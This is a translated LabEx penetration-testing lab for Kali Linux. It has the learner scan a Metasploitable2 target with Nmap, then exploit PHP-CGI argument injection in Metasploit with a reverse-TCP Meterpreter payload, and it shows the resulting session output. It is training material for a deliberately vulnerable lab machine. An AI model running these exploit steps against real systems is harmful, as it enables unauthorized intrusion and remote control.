Выполнение сканирования уязвимостей и тестирования на проникновение с помощью Nmap в Kali Linux

NmapNmapBeginner
Практиковаться сейчас

💡 Этот учебник переведен с английского с помощью ИИ. Чтобы просмотреть оригинал, вы можете перейти на английский оригинал

Введение

В этом лабораторном занятии вы научитесь выполнять сканирование на уязвимости и пентест (проверку на проникновение) целевой машины с использованием различных инструментов в Kali Linux. Цель состоит в том, чтобы получить практический опыт работы с популярными инструментами для сканирования на уязвимости и понять, как использовать полученные результаты для успешного проведения атак на проникновение. Лабораторное занятие будет проводиться на платформе LabEx, где вам будут предоставлены контейнер Kali Linux в качестве атакующей машины и виртуальная машина Metasploitable2 в качестве цели.


Skills Graph

%%%%{init: {'theme':'neutral'}}%%%% flowchart RL nmap(("Nmap")) -.-> nmap/NmapGroup(["Nmap"]) nmap/NmapGroup -.-> nmap/port_scanning("Port Scanning Methods") nmap/NmapGroup -.-> nmap/host_discovery("Host Discovery Techniques") nmap/NmapGroup -.-> nmap/target_specification("Target Specification") nmap/NmapGroup -.-> nmap/syn_scan("SYN Scan") nmap/NmapGroup -.-> nmap/service_detection("Service Detection") subgraph Lab Skills nmap/port_scanning -.-> lab-416122{{"Выполнение сканирования уязвимостей и тестирования на проникновение с помощью Nmap в Kali Linux"}} nmap/host_discovery -.-> lab-416122{{"Выполнение сканирования уязвимостей и тестирования на проникновение с помощью Nmap в Kali Linux"}} nmap/target_specification -.-> lab-416122{{"Выполнение сканирования уязвимостей и тестирования на проникновение с помощью Nmap в Kali Linux"}} nmap/syn_scan -.-> lab-416122{{"Выполнение сканирования уязвимостей и тестирования на проникновение с помощью Nmap в Kali Linux"}} nmap/service_detection -.-> lab-416122{{"Выполнение сканирования уязвимостей и тестирования на проникновение с помощью Nmap в Kali Linux"}} end

Настройка среды

На этом шаге вы запустите контейнер Kali Linux и целевую машину Metasploitable2 на платформе LabEx.

  1. Откройте терминал xfce на хост - машине LabEx и запустите целевую машину Metasploitable2, выполнив следующую команду:
sudo virsh start Metasploitable2

Подождите, пока целевая машина запустится, это может занять от 1 до 3 минут.

  1. Проверьте связь с целевой машиной, отправив ей ping:
ping 192.168.122.102

Нажмите Ctrl+C, чтобы остановить ping.

  1. Запустите контейнер Kali Linux и войдите в среду bash, выполнив команду:
docker run -ti --network host b5b709a49cd5 bash
  1. Внутри контейнера Kali проверьте сетевое соединение с целевой машиной:
ping 192.168.122.102

Нажмите Ctrl+C, чтобы остановить ping.

Выполнение сканирования на уязвимости с использованием Nmap

На этом шаге вы узнаете о некоторых популярных инструментах для сканирования на уязвимости, доступных в Kali Linux.

  1. X - scan: X - scan - это хорошо известный в Китае комплексный инструмент для сканирования. Он абсолютно бесплатный, не требует установки и поддерживает как графический, так и командный интерфейсы на китайском и английском языках. X - scan был разработан известной китайской хакерской группой под названием "Security Focus" и постоянно усовершенствуется с момента внутренней тестовой версии 0.2 в 2000 году.

  2. Nessus: Nessus - это одно из наиболее широко используемых программного обеспечения для сканирования и анализа уязвимостей в мире. Более 75 000 организаций используют Nessus для сканирования своих компьютерных систем. Nessus был создан Рено Дерасоном (Renaud Deraison) в 1998 году с целью предоставить бесплатную, мощную, часто обновляемую и простую в использовании программу для удаленного сканирования безопасности систем для сообщества Интернета.

  3. SQLmap: SQLmap - это автоматический инструмент для SQL - инъекции, который может сканировать, обнаруживать и эксплуатировать уязвимости SQL - инъекции в заданном URL. В настоящее время он поддерживает базы данных MS - SQL, MySQL, Oracle и PostgreSQL. SQLmap использует четыре уникальные техники SQL - инъекции: слепое вывод (blind inference), запросы UNION, стэкированные запросы (stacked queries) и слепую инъекцию на основе времени (time - based blind injection).

  4. Nmap: Nmap - это мощный и универсальный инструмент для исследования сетей и аудита безопасности. Его можно использовать для различных целей, включая обнаружение сетевых устройств, сканирование портов и выявление уязвимостей.

Теперь вы будете использовать Nmap для выполнения сканирования на уязвимости целевой машины Metasploitable2.

  1. Запустите службу базы данных Metasploit и инициализируйте базу данных:
cd ~
service postgresql start
msfdb init
  1. Запустите консоль Metasploit:
msfconsole
  1. Внутри консоли Metasploit используйте команду nmap для сканирования целевой машины:
nmap -sS -T4 192.168.122.102

Вот пример вывода, который вы можете увидеть:

[*] exec: nmap -sS -T4 192.168.122.102

Starting Nmap 7.94 ( https://nmap.org ) at 2024-03-23 23:15 UTC
Nmap scan report for 192.168.122.102
Host is up (0.0032s latency).
Not shown: 977 closed tcp ports (reset)
PORT     STATE SERVICE
21/tcp   open  ftp
22/tcp   open  ssh
23/tcp   open  telnet
25/tcp   open  smtp
53/tcp   open  domain
80/tcp   open  http
111/tcp  open  rpcbind
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
512/tcp  open  exec
513/tcp  open  login
514/tcp  open  shell
1099/tcp open  rmiregistry
1524/tcp open  ingreslock
2049/tcp open  nfs
2121/tcp open  ccproxy-ftp
3306/tcp open  mysql
5432/tcp open  postgresql
5900/tcp open  vnc
6000/tcp open  X11
6667/tcp open  irc
8009/tcp open  ajp13
8180/tcp open  unknown
MAC Address: 52:54:00:1E:9E:B4 (QEMU virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 0.37 seconds

Параметр -sS выполняет TCP SYN - сканирование (также известное как полузакрытое или скрытое сканирование), а -T4 устанавливает агрессивную политику времени, но не слишком быструю, чтобы избежать избыточного сетевого трафика.

  1. Обратите внимание на вывод сканирования, который должен отобразить открытые порты и службы на целевой машине.

Нажмите Ctrl+D, чтобы выйти из консоли Metasploit, а затем начните проверку

Эксплуатация уязвимости

На этом шаге вы будете использовать информацию, полученную в результате сканирования Nmap, для эксплуатации уязвимости на целевой машине Metasploitable2.

  1. Во - первых, если вы не находитесь в консоли Metasploit, вам нужно запустить консоль Metasploit:
cd ~
msfconsole
  1. По результатам сканирования Nmap определите открытый порт на целевой машине, например, порт 80. В консоли Metasploit выполните поиск модуля эксплойта, связанного с открытым портом:
search http
  1. Используйте соответствующий модуль эксплойта:
use exploit/multi/http/php_cgi_arg_injection
  1. Установите IP - адрес целевой машины:
set RHOST 192.168.122.102
  1. Установите полезную нагрузку (payload), которую будете использовать:
set PAYLOAD php/meterpreter/reverse_tcp
  1. Установите IP - адрес локальной машины:
set LHOST 192.168.122.1
  1. Запустите эксплойт:
exploit

Вот пример вывода, который вы можете увидеть:

[*] Started reverse TCP handler on 192.168.122.1:4444
[*] Sending stage (39927 bytes) to 192.168.122.102
[*] Meterpreter session 1 opened (192.168.122.1:4444 -> 192.168.122.102:38510) at 2024-03-23 23:21:14 +0000
  1. Если эксплойт выполнен успешно, вы должны получить доступ к оболочке (shell) целевой машины. Проверьте доступ, выполнив команды, такие как sysinfo, чтобы отобразить системную информацию.

  2. Если у вас есть время, вы можете попробовать использовать другие инструменты для сканирования на уязвимости, такие как Nessus, SQLmap или X - scan. Также вы можете попытаться эксплоитировать другие уязвимости на целевой машине Metasploitable2.

Нажмите Ctrl+D, чтобы выйти из консоли Metasploit, а затем начните проверку

Заключение

В этом лабораторном занятии вы научились настраивать среду Kali Linux для проведения пентеста (проверки на проникновение) и использовать популярные инструменты для сканирования на уязвимости, такие как Nmap, чтобы выявить потенциальные уязвимости в целевой системе. Вы также получили практический опыт в эксплуатации уязвимости с использованием фреймворка Metasploit. Эта практическая информация поможет вам понять важность сканирования на уязвимости и пентеста в области кибербезопасности.